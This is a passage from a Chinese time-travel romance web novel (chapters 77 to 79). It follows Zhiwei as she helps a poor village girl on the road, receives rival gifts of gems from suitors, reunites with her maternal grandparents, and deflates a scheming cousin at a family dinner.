一个老婆子,嘴里尽是污言秽语,什么小娼妇下贱的东西,还骂边打,挨骂的是个女子,瘦瘦小小的,被打也不还手,只死死护着怀里的东西。 应是注意到了这边的动静,东家妇人赶忙上前制止,“林婆子!贵人面前你胡咧咧些什么呢!有你这么当奶奶的吗!孩子不就挖了几颗菜!还能怎么的!你还要饿死她们娘几个啊!赶紧滚!小心贵人治你的罪!” 那林婆子这才注意到知微并不远处的几个护卫,忙不迭将脚从孙女身上移开,表情谄媚道,“我这不是不知道贵人在吗,吆!是路过的贵人吧,我家也有空房间,下次路过可以去我们家住!我们家房间多!真的!” 眼看东家妇人要去撕烂这婆子的嘴,几个护卫也欲上前,这婆子才同东家妇人骂骂咧咧了几句落荒而去。 东家妇人朝婆子呸了一声,转身将地上的女娃扶了起来,大步跨过矮小的篱笆栏,从自己家菜地扯了几个茄子和青瓜,塞进了女子怀里。 女子一直低着头,天热渐暗,看不清表情,只见她脚上的布鞋都漏了脚趾,身上的粗布衣裳也满是补丁和脏污,闷头说了声谢谢便跑了。 知微也没多看,菜摘够了,便准备离开。 不想东家妇人却在一旁絮叨开了,这大丫命苦啊,她爹年初进了趟山,不想猎物没打到,人给摔死了。她娘早产又生了个闺女,生了四个闺女了,二丫没养活,三丫也八岁了,好不容易怀上了,这又生了个女娃,还是早产,弱的跟小鸡仔似的,那老虔婆将家中值钱的东西都搜刮走了,是一点活路不给她们,仅剩的一亩田还是大丫拼死给夺回来的。哎,得亏大丫白天夜里的拾柴到城里卖,给她娘和小妹挣一口吃的,今日应该被逼急了,才到他奶地里去拔颗菜吃吃,难啊,咱们女人啊,难啊。叫她们一家可怎么活啊…… 知微知道这妇人说这些话的意思,是想叫知微帮她一把。 可是,这天底下过的艰难的多了,她还能全帮了? 知微并不言语,给花影递了个眼神,花影点头,给妇人递了个银角子,道:“算是菜金,多的,便请您给那位姑娘买双鞋吧。” 妇人接过,叹了口气,哎了一声。 这些菜哪值什么钱,刚才那婆子已经给了她几十大钱了,这银角子,应有一两还多,省省够咱们农家几月的嚼用了,感谢好心的贵人,只是,若是,再多一些…… 这妇人也不敢再贪心,忙躬身行礼离开了。 知微摇摇头,并不在意这小插曲,直接钻进了厨房,这一连几日都是住在驿站,菜都不是很新鲜,还是住农家好,想吃什么随手就摘了。 只是那低着头状似慌忙逃离的女子却在自家门前站定,听着刚才的方向传来的说笑声,想要开门的手却停住了,她转过头,艳羡的看着不远处的一排马车和一众仆从,即使是奴婢,穿的竟也比镇上的员外还要好…… 门吱呀一声,一个六七岁的女娃小声叫着大姐,看到她怀中的菜,眼睛更是亮了亮,忙伸手去接。 王大丫一阵心酸,转头再次望向那华丽的车架,内心忽然有了个大胆的想法。 第77章 果然,这雨说下就下。刚用过晚膳,雨滴便噼里啪啦落了下来 果然,这雨说下就下。 刚用过晚膳,雨滴便噼里啪啦落了下来了。 东家男人一早便帮着清理了旁边农户的院子,护卫们堪堪够住。 没有人抱怨,出门在外,有地方挡雨就好,连主子也是几个人挤一间屋子呢。 农户们则是都借助在亲朋家里了,今日的贵人大方,多给了他们银钱,他们巴不得多住几晚,也好给家里多挣些嚼用! 难啊,乡下人,靠老天爷赏饭吃,这两年虽说风调雨顺的,但是谁还不是个未雨绸缪的,总得为子孙将来多做打算。 听着窗外大雨倾盆,知微渐渐有了睡意,身下的土炕虽然粗硬,但身上的疲累却更多,不知不觉便一觉睡到了天大亮。 一夜无梦。 雨过天晴,晨光透过破旧的窗户照射进屋内,一层一层的,仿佛金纱一般,轻抚着面颊,将她一点点唤醒。 待收拾齐整,简单用了早膳,一行人便启程了。 只是路并不好走,村路泥泞,马车行的慢。 只见前方不远出有一女子,她背上背着比自己还要粗重的木柴,吃力的走在村路上。 路面坑洼,脏水打湿了鞋袜,鞋子满是泥污,她丝毫不觉。 只咬着牙,一步一步的往前走。 一匹匹马从她身旁经过,她怯懦的看了眼车队,又低垂了眸子,不叫人看到她眼底的情绪。 知微叹了口气,又打量了她两眼,才移开了视线。 只高雅晴看到却惊呼出声,“咦,这个姑娘好生可怜,家人怎会叫她一个女子出来卖柴火?她看起来,又瘦又小的,柴又这么多,这看起来比她还重吧。” 高雅晴天真的问了几个问题,面上已然流露了同情之色,待她们这辆马车行到女子身前,只见女子一个踉跄,竟直接摔进了泥坑里…… 这下,身上本就满是补丁的衣裳,已全是泥巴了。 背上的柴也倒在了地上,女子试了几次,终于顽强的爬了起来。 她摸了把脸,小心的调整好柴火,吃力的往前走,履步维艰。 娘亲和舅母也都露出怜悯的表情。 小表妹,嗯了两声,看看自己娘亲又看看表姐,小声问道能不能帮帮她啊。 知微点点头,对表妹道:“可以啊,只是你想怎么帮呢?” 小表妹嗯啊的答不出来,她想说给她钱,都买下来,却又不知给她多少钱合适。 知微却笑着对她道,“帮是可以帮,但是还得看怎么帮啊,据我所知,她有娘亲,刚出生不久的婴儿小妹,一个年八岁的妹妹,加上她自己,一共四个人要养,你跟姐姐说说,你想怎么帮?是要买她这一次的柴火吗?” 高雅晴听完,点点头,又摇摇头,表情更加茫然,一旁伺候着的丁嬷嬷却是听懂了。 她们这个车厢内,只有丁嬷嬷自己在,其余的丫鬟婆子,都在后面的马车上。 丁嬷嬷叹了口气道:“咱们能帮的了一时,帮不了一辈子啊。” 两位母亲也是叹了口气,点了点头,哪能不知道知微的意思呢,只有小表妹,还是一头雾水的,那意思仿佛在说,那便多留些银钱给她们便是了。 知微笑着又道,“即使给了她足够的银钱,也得看她能不能守得住啊。” 就看她那位极品奶奶的态度,估计家中还有更为极品的,给的钱多了,她估计是守不住的。 也不知这姑娘一家分出来了没有。 她垂下眼帘,稍微思索,还是挑起了窗幔,将昨晚就准备好的荷包递给了马车外头的护卫,低声道,“将这个荷包给那位姑娘,叫她归家吧,今日的木柴算咱们买了。” 又补充了一句,“再告知她一声,大兴朝立女户,只需六百文。” 护卫得令,点点头,躬身接过,也不问缘由,下马将荷包给了女子,并说了几句什么,这才上了马走了。 此时最前头的马匹已经行至在了管道上,马队行进的速度渐渐快了起来。 女子摸着手里的荷包,听着那句立女户,咬着唇,眼睛睁的大大的,迸发出如星火般的光亮。 她知道今日赌对了,小心翼翼将荷包塞进怀里,顾不得地上的脏污,朝已经走远的马车重重的跪了下来。 知微摸了摸还在伸头朝后看的小表妹,笑道,“她今日是故意为之,应该等咱们挺久了,此番也是被逼无奈,虽用了些手段,但也不是坏人。今日啊,若是咱们只是买下了柴火呢,她便不用走那么长的路去镇上卖,咱们给她银钱,不要柴火,是她能想到最好的结局了,当然了若是咱们无视,她怕会直接晕倒在咱们车队旁,到时候,便不得不管她了。” 高雅晴嘴巴张的大大的,连高氏和小舅母都有些惊讶知微竟想的如此复杂。 知微却笑着解释道,“我昨晚便见过这位姑娘,家中四口人指着她一人过活,还有动辄打骂欺辱她的祖母……” 见小表妹眼睛瞪得大大的,一脸的不可思议的模样,知微叹了口气,继续道:“世间女子本就艰难,她独自一人强撑了几月,是为不易。今日咱们刚走,便遇到她了,太巧了些。所以,我想她应是一夜没怎么睡,就守着听咱们离开的动静的。我是佩服她的勇气的,荷包里我只放了碎银几两,不多,却是她能承受的极限。一个四口之家,三四两银子可做一年的嚼用,她再勤快些,可以熬过去的。若是给的多了,她怕就护不住了,懂了吗?小家伙。” 知微刮了刮小表妹的鼻尖,叫她好好想想是不是这么回事。 像高雅晴这般无忧无虑被娇养的女儿家能有多少? 更多的,是这般生下来便吃苦的女子吧。 得亏原主遇到的是好心的叶家父母,将她捡回家中,还待她如亲女,不然,原主还不知会过成什么样子…… 高氏不知想到了什么,望着知微的眼眶忽的就红了,她张了张嘴,却还是什么没说,转过头去将眼泪抹净。 其实知微没说,荷包里,她还放了粒金豆子,少说也能换几两银子的,希望这女子能明白自己的意思吧。 小舅母叹了口气,握住了高氏的手,心里也是酸涩的厉害,这孩子到底经历了多少事,也算是看透了人间冷暖了,心里对知微也更加疼惜。 知微这孩子,看的透彻,如此甚好,过犹不及啊。 人与人的缘分,就是如此奇妙,待数年后,知微巡店时再次遇到了已经改名王自立的王大丫,颇为感叹,王自立不光养活了一家人,此时的她已经成为美味斋在本地的女掌柜了,也叫知微刮目相看,很快便将她重用起来。 这只是路上的小插曲。 万般皆苦,唯有自渡。 大丫需自立自强,方能存活下去。 知微很快和小表妹换到了后头的马车上,高雅晴缠着知微,听她讲奇女子的故事。 眼看离青州越来越近,众人内心也就没那么紧张了。 一路还是疾行,可以说是风餐露宿,有些山路没有驿站和人烟,便宿在野外,知微从前跟着顾铭珏也是住过的,并没有不适,高氏也比她想象中的要坚强许多。 五月中旬的风微微有些热,在野外也不会觉得冷,倒是让人觉得有些自由肆意。 就这么五日后的午后,他们跟胡子拉碴的聂斐然碰头了。 高外祖的病情已经稳定,梅神医不为何突然决定定居在此,不搞出入成迷那一套了。 众人大喜。 聂斐然并未休息,待高外祖病情稳定后便策马往回走。 高大舅长子高淮安怕出岔子连忙跟上,二人带了几个护卫,马不停蹄的终于接应到了知微一行。 多日的奔波,风吹日晒之下聂斐然白皙的皮肤也黑了些,一身黑袍不说,还冒了些胡茬,乍一看高淮阳差点没认出来。 彼时的知微一身男装骑于马上,长发竖在脑后,英姿飒爽的。他虽有些惊讶,但更多的却是感到惊艳。 果然,知微是怎么打扮都好看的。 知微是临时起意学的骑马,一直待在马车内,闷的人喘不过气。 她见高雅晴坐烦了马车时不时的会策马奔腾,便央着表兄在休息时教了自己。 一开始,有表兄护着,她只敢慢慢的骑,到现在几日过去,她已经能自己骑马游走了。 待高氏看清是来人,再听到父亲已稳定了的消息,心里狠狠的松了口气,连日来的疲惫一扫而光,面色都好了许多。 众人也都放下了心。 知微也看清了这位大舅舅长子的面容。 这位算是是很传统的文人长相,同高淮阳站在一起比较,竟没有一点相似的地方。 他是那种白净文弱的,个子不高身材中等,温文尔雅的书生模样。 笑起来脸颊竟然有两个小酒窝,知微的好感度瞬间拉满。 知微叫他看过来,微笑见礼,高淮安亦高兴回礼,笑容灿烂道:“一路上净听斐然夸赞表妹,如今为兄总算是见到真人了,表妹果然同祖母很像,祖母这些日子每日都盼着姑母和表妹,如今,可算马上就要到家了。” 聂斐然的耳尖红红的,他是没少提知微,但也没叫淮安直接当着姑母她们的面说出来啊! 高雅晴看到聂斐然此时的模样哎呀一声,斐然哥,你怎么长胡子了! 高雅晴的表情十分之惊讶,在她心中,聂斐然就是那出尘的仙人,仙人自是完美无瑕的,怎么能长胡子呢! 见众人都看了过来,聂斐然咳嗽两声,尴尬道,一路着急忙慌的,已经数日没刮面了,衣服也已穿了几日了。 高淮阳朝聂斐然挤眉弄眼,那意思分明是你完了,我小表妹也笑你呢,表妹肯定看不上你了! 知微是被高雅晴逗笑的,她倒是觉得聂斐然这胡茬还蛮有特色的,多爷们啊,这不比从前被风一吹就倒的模样精神多了? 稍作寒暄后便继续赶路了,不远处有驿站,今日她们便宿在那里,好生休息一晚。 驿站今日住宿的不少,知微便没出去借厨房了,直接在房间里支了两口锅,一个砂锅煲汤,一个蒸煲仔饭。 恍惚间像是回到了刚穿来时跟着顾铭珏赶路的日子。 知微晃晃脑袋,好端端的怎么想起那狗男人了,晦气晦气。 她看着洗净好的大米,咽了咽口水,她馋米饭了。 一路上吃的多数是面食,她属实馋的很了。 在她准备动手的时候,却听敲门声响起,花影和月痕自去查看。 知微在窗下做饭,窗户大开着,一阵风儿吹了进来,将她的长发吹起,卷起美好的弧度,她低垂着眉眼,动作十分专注,叫对面窗后的男人看到沉迷,移不开眼。 也不知这男人是熬了几个大夜,胡子拉碴不说,眼睛都是红的。 顾铭珏定定的看着知微,内心终于安稳下来,轻轻扯了扯嘴角,转身躺在了床上,沉沉睡去。 知微这边并未察觉。 月痕开门后来到她身边,低声说了句斐然公子在门外等您。 知微点点头,将手用帕子擦净,这才去了门口处。 花影将门打开,已经收拾齐整变回神仙公子的聂斐然并未进来,只悄咪咪的从自己身后拿出了个匣子,递给了知微。 知微挑眉接过,问道何物? 聂斐然咳嗽两声道,送你的小礼物,做成头面没事带着顽。 哼!顾铭珏,我送的可比你送的多多了! 这人说完摸了摸鼻子便走了。 留下知微捧着匣子一脸的莫名其妙。 她哎哎两声,见人已经进了房间,便叫花影将门关上,转身回了屋子。 她捏着嘴看着匣子,还没打开便猜到是宝石了。 只是她一打开,还是被惊住了。 不是,这大大小小满满一匣子的宝石,聂斐然是要搞哪样啊! 第78章 关于两眼乌青的顾铭珏,他明面上是因公事而来,实际上是因惦念知微。 关于两眼乌青的顾铭珏,他明面上是因公事而来,实际上是因惦念知微。 他和安若瑾私下里达成了某种合作,安若瑾稍加思索,觉得该给顾铭珏这个面子,便将占卜的结果差人告知了他。 其实安若瑾就是想叫顾铭珏去保护准岳母和小姨子。 顾铭珏常年在外面游走,可以说比他这个困在皇城的皇子有能耐。 即使他不告知,顾铭珏对他的动向也是一清二楚的,人不能在同一件事上摔两次跟头。 顾铭珏早就安插了人手,将安若瑾给扒了个底朝天。 这边安若瑾得到了占卜结果,那边顾铭珏便也得到了。 合作嘛,自是要知己知彼。 另一边,安若瑾却将占卜的结果稍加隐瞒。 占卜后得到的结果:大凶,水,正南。 同沈知蕴的预知梦完全对上了。 但是安若瑾却没有对沈知蕴如实相告,他给沈知蕴的回信是,福祸相依,水,偏南。 稍加改动,较起真起来,也不能说不对。 得到了结果,沈知蕴稍微松了口气,青州在京都正南方,应不会有事。至于福祸相依,那便是有惊无险的意思。 但是她还是不甚放心,她将预知梦的事告诉父亲后,父亲沉思一日,叫她安心,后面的事情教给他,娘亲她们定不会有事的。 她是相信父亲的,父亲有他自己的办法。 倒是顾铭珏接到这个结果后,借了查陈年旧案之名马不停蹄的追了上来,日夜不休,终于追上了。 他要查的事情也在青州城附近,不管那什么狗屁大凶,不论会发生何事,这一次,他定会护知微周全。 而待知微看清这匣子里的东西,对聂斐然深感无语。 现在是流行拼宝石吗?讨女孩子关心,就比谁送的多? 他猜想聂斐然定是知晓了顾铭珏送了她一荷包的宝石的事情,这才送了更多。 知微有些无奈,这个然表兄,怎么跟个小学鸡似的,乱斗。 还是宋言澈省心。 哎,等等,我干嘛扯到人家身上。 嗯,她觉得自己定是被这亮闪闪的宝石给迷了心智了。 匣子虽然不大,但是里头的东西却是满满当,应是值不少银钱,实在贵重。 顾铭珏给的,她还能承受了,这些,已经超出了那个范围。 她也不愿意去拿主意,将匣子放到一旁的桌子上,准备一会去娘亲房里用膳的时候带过去,叫娘亲定夺。 晚膳难得只娘俩一起用,一路都挺累了,各人在各人房间里用膳,高雅晴更是简单对付了几口便爬上了床,此时睡的正香。 吃饱喝足后知微便将匣子递给娘亲看,撅着嘴道是斐然表兄给的。 高氏看过便笑了,这孩子,这么大手笔是要干什么。 她摇摇头,将匣子递给了丁嬷嬷,叫她给斐然送回去。 丁嬷嬷自是知道怎么回绝聂斐然。 待丁嬷嬷离开,娘亲握着知微的手,仔细端详着自己的小女儿,母爱从她得眸子里溢了出来,“娘的知微真好看。” 她似是想到了什么,拍了拍小女儿的手,认真道,“你觉得,斐然这孩子怎么样?” “你小时候,是最愿意跟在斐然后面的,还口口声声的要嫁给人家当媳妇呢。” 知微咳嗽两声,有些尴尬,“人家那时候还小,不懂事嘛,不作数的不作数的。” 她讨好的趴在娘亲肩头撒娇道:“娘亲,表兄是挺好的,但是知微不想嫁人,知微想一直赖在您和爹爹身边,好不好嘛。” 高氏满脸欣慰,轻轻拍着女儿的肩膀,又想到皇帝想赐婚的事,不动声色的叹了口气,“嗯,不嫁人,那就叫我们知微一直陪着娘亲和爹爹身边……” 赶了半月的路,终于在一个风和日丽的午后到了外祖家。 马车一路未曾停歇,她未戴面纱,只透过窗纱悄悄的去看窗外的景色,山水相依的江南小城,太阳初升时云雾缭绕,宛若仙镜。 知微跟在母亲身后下了马车,她还未站定,便看到了一位头发半白的妇人颤抖的身子向她们走来。 啊,好漂亮的老太太。 速度太快,待知微反应过来,便被老人一把抱到了怀里,心肝宝贝的叫着,这位应该就是自己外祖母了。 听着外祖母这响亮的哭声,知微猜想外祖母身体应该挺好的,刚才身子颤抖,应是激动的。 好半晌,外祖母才被两位舅母劝住,放开了她们娘俩,也未在府门前多做逗留,外祖母一左一右的牵着娘亲和自己的手,大步朝府内走去。 知微乖乖的被牵着,脸上带着腼腆的笑容,没到认亲的时候,她只是小幅度跟周围的人点头问好。 她今日一身丁香色长裙,身上干干净净的,只发髻上两支步摇随着她的动作在轻轻舞动,她肤色莹润,唇红齿白,柳眉杏眼,不施粉黛,如清水芙蓉,美的清新。 高雅晴抱着姐姐高雅然的胳膊,表情十分之骄傲,嘴里嘟嘟囔囔,姐姐,知微姐姐不仅漂亮,人也特别好,最主要的,知微姐厨艺特别棒,做出来的东西都特别特别好吃,隔壁院的小孩都能被馋哭,嘿嘿,姐姐肯定也会非常喜欢她的。 知微同娘亲随着外祖母来到了一处厢房。 厢房不大,装扮的很古朴,一进屋子便闻到了浓重的汤药味。 知微了然,是来拜见外祖父来了。 待走的近了,她便见一位满头银发的老者半躺在床上,脸上虽还有病气,但精神极好,他眼中满含泪水,定定的看着不断走进的母女二人。 他最疼爱的小女儿,终于将她自己的小女儿给找回来了! 高氏一声爹,直接哭着跪倒在床前,知微紧跟着跪下,不自觉已流下泪水。 她声音轻颤,大声跪拜,知微拜见外祖父,拜见外祖母。 说完便是两个响头,叫两位老人更加心疼起来。 外祖母亲自将她们母女扶了起来,只是说好,好,回来就好,回来就好啊。 外祖父冲她招招手,她再次跪在老人床前,抬起眸子,好叫外祖父看清她的面容。 高外祖看看她,又看看外祖母,眼睛里俱是回忆,他忽的笑开了,对着老妇人道,“老婆子,这丫头果然同你年轻时相像,不对,比你年轻时还要好看。” 老人说完便被妻子嗔了一眼,“那可不,知微是咱们家出落的最美丽的女孩子,那肯定随我,随你不丑死了。” 知微见两人拌嘴,脸上的笑容愈发的深了。 外祖母却不欲叫她们待在这卧房了,老头子的病还得静养,她们简单说了几句便在高外祖依依不舍的目光下离开了。 接下来便是在正厅认亲的环节,小舅一家自是不必介绍,也就只有大舅舅一家需要认识。 外祖家家风清正,没的什么妾室庶子。 高大舅继承了外祖父的衣钵,一整个的文人模样,相貌上也是随了外祖父的,是位端方的中年男子。 大舅母看着柔柔弱弱的,是南方女子的长相,小小的,眼睛里却泛着精明,知微一眼就能看出她同小舅母是两个极端。 知微见礼,并收下礼物。 大舅有四个孩子,大表兄知微已经见过了。 表姐高雅若,年十八,长相上并没有随其母亲,随父亲多些,看起来不怎么爱说话,面容清秀,是个看起来很随和的姑娘。 还有两位双胞胎表弟,年十二的高淮忠和高淮义,两个表弟的长相皆不遂父母,倒是同知微的眉眼有些像,也就是说是随了祖母的长相,待长开,更是能迷倒万千少女了。 因着相貌的原因,双胞胎一见知微就喜欢的不得了。 毕竟谁不喜欢跟自己长的像的漂亮姐姐呢。 寒暄过后,外祖母便发话叫表姐表妹带她去给她准备的院子看看,一并逛逛府上。 小辈们都知道,大人们是有话要说,便都懂事的点头出门了。 高淮阳高淮安去见祖父,倒是高淮忠和高淮义,二人仗着自己年纪小,不多时便悄咪咪的跟了上去。 聂斐然并不在,他进城之后便归家了,他爹给他递了信,问他是不是那治水的大禹,要三过家门而不入。 聂斐然自觉理亏,打了声照顾便依依不舍的归了家。 刚行至花园欲赏花,还未站定,却被身后的一声若姐姐晴妹妹给唤住了。 三人回过身去,便见一位一身素衣的女子缓缓向她们走来,女子脸色有些苍白,步子走的很慢,弱柳扶风的像是随时都要倒下的样子。 知微心里啧啧两声,这种打扮,一看就是小说里寄住在别人家的孤女,于是好奇道:“这位妹妹是?” 高雅晴撇了撇嘴,一点也不想理她,高雅若拧了她一把,这才介绍道,“是我姨母家的表妹,江婉儿。” 顿了顿,又道,“来府上一年多了。” 知微点点头,不由得对自己夸赞,一下就猜中了,我可真棒。 江婉儿小心翼翼的看了知微一眼,见礼道,婉儿见过知微姐姐。 知微笑着回礼,婉儿妹妹好。 却见江婉儿身子晃了晃,捂着嘴咳嗽了两声,小声道:“妹妹身子不好,刚才未出门迎接,还请姐姐不要怪罪。” 知微,嗯……怪罪是不可能怪罪的,这么多人呢,她也没注意。 “无碍,是妹妹想多了,妹妹的身体要紧。” 江婉儿扶着丫鬟的手,“真羡慕姐姐,能有一副好身体,能得到如此盛大的迎接,不像妹妹,咳咳。” 还未说两句,就又咳咳咳的咳起来了。 知微翻了个白眼,身体不好就不要出来了,真是好大一朵白莲花啊,如此盛大的迎接?我是谁你是谁? 这人是一点没有上门打秋风的自觉啊。 羡慕,呵呵。 知微不着痕迹的退了退,试图离这人远一点,直接道,“妹妹若是身体不好,还是回去休息吧,倒是不用羡慕,我这不是丢了十年这才刚找到家人吗,有什么好羡慕的?” 这装的跟真事儿似的,真当她看不见她脸上擦的粉呢。 然后在江婉儿巨震惊的目光之下,继续道,“婉儿妹妹怎的一直咳嗽,不会是因为吸入脂粉过多了吧?妹妹你脸上都卡粉了,咱们姑娘家还是用着好些的脂粉,劣质的脂粉用多了对皮肤不好,也确实容易生病的。” 江婉儿你你了两声直接被知微给气哭了,捂着脸慌忙逃走。 高雅晴也不捂嘴,直接哈哈大笑起来,还是知微姐姐看的仔细,江婉儿脸上确实是卡粉了,高雅晴笑的眼泪都冒出来了。 这一年她可是在江婉儿身上吃了不少亏,知微姐一来就替她报了大仇了,她哈哈的笑声似魔音贯耳,叫江婉儿更是气的头昏脑胀的,哭个不停。 高雅然却是笑不出来,完了,这下江婉儿又得跑去跟母亲告状了。 江婉儿她恨啊!凭什么,我比她们差什么了!凭什么她们可以有爹娘疼爱,有亲人关怀,我江婉儿却是寄人篱下小心翼翼的看她们脸色过活!好!很好! 沈知微! 江婉儿将脸上的脂粉洗净,对着铜镜看了看自己两个又红又肿的眼睛,咬了咬唇,哼了一声起身去了前厅。 第79章 知微见大表姐一脸的愁容,心知这这白莲花定不是什么省油的灯,应是没少 知微见大表姐一脸的愁容,心知这这白莲花定不是什么省油的灯,应是没少欺负表姐。 她抱住高雅若的胳膊,笑着同她道,“姐姐怎么这个表情?对待这种女子,咱们就作比她还可怜的样子就对了。” 见两姐妹都不明所以的看着她,知微笑的意味深长,“等到晚膳时就知道了,大表姐且记着,到时候无论白莲花说些什么,你都忍着别说话,只淡漠的看着,一切交给我便是!” 她挑挑眉,嘿嘿两声,脸上的笑容竟然有些迫不及待。 白莲花嘛,不就是装可怜,再哭上一哭?跟谁不会似的,那就比比谁哭的更让人心疼喽。 偷摸的跟在后头的两个小表弟围观*了全程,兴奋的捂着嘴跑了,这么劲爆的事件,还得赶紧说给兄长们听听!总算有人能治这个江家表姐了! 高雅晴一向对知微深信不疑,她朝姐姐点点头,三人这才去往知微要在外祖家住的院子。 姐妹三人的院子离的非常近,知微要住的院子叫微园,大舅舅给改的,以表对知微的重视。 院子不大,但很雅致,景色很美。 最吸引人的,莫过于院中那棵硕大的桂花树了。枝繁叶茂,只是可惜还不到桂花飘香的时节。 还挺有缘分的,自穿越,知微每去一个地方,都会遇到桂花树。 一如再见到她的故乡一样。 院中四个丫鬟两个婆子正在花影和月影的指挥下收拾行礼,见姐妹三人来了,俱是恭敬行礼。 三人点头,径直去了厢房,厢房并不大,但是装扮的粉粉的,很少女,高雅若观知微的表情并没有不喜,便笑着解释道房间是自己布置的,不知道表妹喜不喜欢。 知微一见这厢房便知表姐是用了心的,光是那华丽的摆件,四大美人的屏风,都是不可多得物件,她笑着道表姐布置的知微自是喜欢的。 她见她带来的礼物箱已经被抬进了屋内,便笑着打开,将带给高雅若的礼物拿了出来。 是一对步摇。 同知微头上的金步摇不同,这是两支金钗玉兰步摇,清新淡雅,跟高雅若身上沉静的气质非常相配。 高雅晴在京中得了的礼物更多,并不眼热与姐姐的礼物,她高兴的帮姐姐插到发髻上,知微又从笼箱内取出红叶姐送她的口脂。 是她出门的前几日念秦送来的,宫中秘方所制,念秦加以改良,送来挺多的,她用不完,便打算分给姐姐妹妹们。 她选了个适合表姐的珊瑚色,将手清洗干净,小心的涂在唇上。 果然,宫中的玩意儿就是好,平日里她们买到的无论价多高,却总会感觉嘴唇干巴巴的,这个就不同了,莹润有光泽,衬的嘴唇丰盈非常。 知微点点头,还得是古人啊,这不比后世的那些大牌口红好看多了,最重要的,这些天然还健康。 接着她又取出沈知蕴叫她帮着带给表姐的礼物,是一条清荷碧波长裙,清新脱俗,夏日穿在身上,最是清爽。 一个下午,三姐妹从衣服聊到口脂,又说到美食点心,累了三人便半躺在榻上休息。 高雅若津津有味的听着小妹说着在京中发生的故事,眼睛亮亮的,十分羡慕。 她十五岁时便已定亲,未婚夫婿是父亲的学生,待明年未婚夫中举后便会成亲,因着这个,娘亲总是将她拘在府上绣嫁衣。 娘亲自小便管她严厉,像是爬山赏景这种事情,是从来不叫她抛头露面的。 晚膳自是齐聚一堂。 人多,男女分桌而席。 但没设什么屏风隔断,都是一家人,分成了两桌,热热闹闹的聚在一起。 知微和母亲一左一右坐在外祖母两侧。 知微是被老太太硬拉过来的,她没办法,跟娘亲对视了个眼神,娘亲叫她安心,母亲有数,明日就便不会如此了。 虽说于礼不合,但是在今日这个场合并没有人去触这个眉头。 今日的知微,在众人心中都是独特的。 待众人坐定,一个雪白色的婀娜身影姗姗来迟,女子哭了一下午的双眼红肿不堪,还是那副弱柳扶风的模样。 她姿态做的很足,一身纯白的衣裙,头上只一支素簪,腰身纤细,小脸清纯秀丽,只往那一站,便叫人心生怜惜。 江婉儿低垂着眉眼朝众人道歉,声音抽噎还带着哭腔,“婉儿见过各位长辈,是婉儿不好,婉儿来迟了。” 大舅母孟氏心疼坏了,起身将人拉倒自己身前,看江婉儿眼眶红肿不堪,着急问道,出了何事?怎的哭成这样? 高雅晴撇嘴,切了一声,又来了,也就大伯母吃这套。 小舅母白了自家女儿一眼,叫她老实点,不要生事。 江婉儿被姨母牵着,似是觉得委屈,再一次掉下泪来,她小心翼翼的撇了眼上首老太太身边的沈知微,咬了咬唇,又看了看自己表姐高雅若,一脸被她们欺负了但她不敢说的表情。 高雅若真的有些生气了,今日是姑母和表妹归家的日子!江婉儿竟然当着这么多长辈的面作妖!她捏紧了手里的帕子,看也不看母亲和江婉儿,想起知微的嘱咐,只淡漠的坐在那里,并未解释,也未起身安慰。 孟氏见女儿也不起来说话,有些生气道,“若儿!还不来安慰安慰你婉儿妹妹!整日就知道欺负她!” 高雅晴气的就要起来说两句,却被娘亲给按住了。 知微扫视了一圈众人。 大舅舅眼睛虽看向别处,但是面色已然沉了。 倒是两位小表弟,撇着嘴,戏谑的瞧着自己那位表姐。 知微跟高氏对视一眼,她朝娘亲眨了眨眼,娘亲会意,点点头,叫她无需容忍。 故而知微登时便转过头朝着外祖母道,“外祖母,这位妹妹怎么老是在哭,刚才在花园见了,还未说话就要哭,这又在哭,看的人家都想哭了。” 知微看向江婉儿,撅着嘴道:“妹妹还说羡慕我呢,我有什么好羡慕的,我这不是丢了十余年刚找回来吗?” 知微眼睛睁的大大的,从刚开始的好奇,到后面表情里隐隐约约的委屈,都叫众人看了清楚。 是啊,她有什么好羡慕的?要不你也丢十年试试? 她这话一出,众人看向江婉儿的眼神愈发不耐。 高淮阳怒瞪江婉儿,整日就知道哭哭哭,将别人家的福气都给哭没了!难怪被亲爹送出来! 知微扯了扯嘴角,似是想起了往事,停顿了半晌还是咬唇站了起来,她转向大舅母的方向微微欠身,对大舅母道,“大舅母,我可以作证的,大表姐真的没有欺负江妹妹,倒是因为这位妹妹脸上擦了太多的脂粉,一直在往下掉,她被呛的直咳,我好心的提醒了两句,江妹妹便哭着跑了。” 说要捂着嘴,懊恼道,“啊,江家妹妹莫不是因为我才哭成这样的吧。” 说要便不知所措起来,咬着唇,眼圈忽的就红了,眼泪要落不落的挂在睫毛上,她小心的走到大舅母和白莲花面前道,“如果妹妹是因为我那几句话生气的话姐姐给你道歉,不过。” 她咬着唇,怯怯的看了江婉儿的脸庞一眼,道,“不过江妹妹将脂粉洗净之后面色就好多了,都红润了许多,我是好心的,我便是闻不了劣质脂粉,老是会打喷嚏。” 她的双目含着泪,睫毛轻颤,楚楚可怜的模样可比江婉儿要好看多了。 哼,不就是哭两下吗,就跟谁不会似的。 姐可是哭戏里头的行家,哭起来从来不掉鼻涕泡的,专门练过! 知微继续茶言茶语,“大舅母您别生气,真的不关大表姐的事,您要怪就怪知微吧。” 孟氏一时间有些没反应过来,待听清知微说的话后,又仔细打量了江婉儿的面色,发现确实变得红润了。 再想到知微说的脂粉,面色变得更加难看起来。 却听外祖母砰的一声将手边的茶盏重重一放,也不看脸色难看的大舅母,对着知微道,知微坐回来,陪着外祖母用膳。 孟氏脸色变了又变,深吸了口气,却还是没有放开江婉儿的手,而是牵着江婉儿一同坐下了下来。 知微抽了抽哭红了的小鼻子,被外祖母拉着亲手擦净了脸上的泪珠。 外祖母动筷,晚膳开始。 只是因为某人的搅和,虽有双胞胎两个小子的插科打诨,却还是热闹不起来了。 江婉儿大气都不敢出,嘴里的食物更是食不下咽。 一年多了,她百般讨好这个老太太,不理解她为什么就是看不上自己! 只有姨妈是关心且疼她几分的。 但是平日里无论是吃食还是穿戴上,她和府上两位小姐的待遇还是区别甚大,这一家分明只是拿她当叫花子打发呢! 可娘亲早逝,父亲不喜,外祖早就仙逝了,她能依靠的只有姨母一人了。 她定不能叫姨母对自己产生误会,一定不能! 晚膳结束,知微故意挑衅的看了江婉儿一眼,那眼神中带着审视和警告,她从来可不是什么好性的,今日只是提个醒,若你再敢来招惹我,那姐姐可要真收拾你了。 舒舒服服的泡了个澡,待头发差不多干了,知微便急不可耐的往床上扑。 妈呀,可算是睡到了柔软舒适的床榻了。 这一天天的,可累死她了。 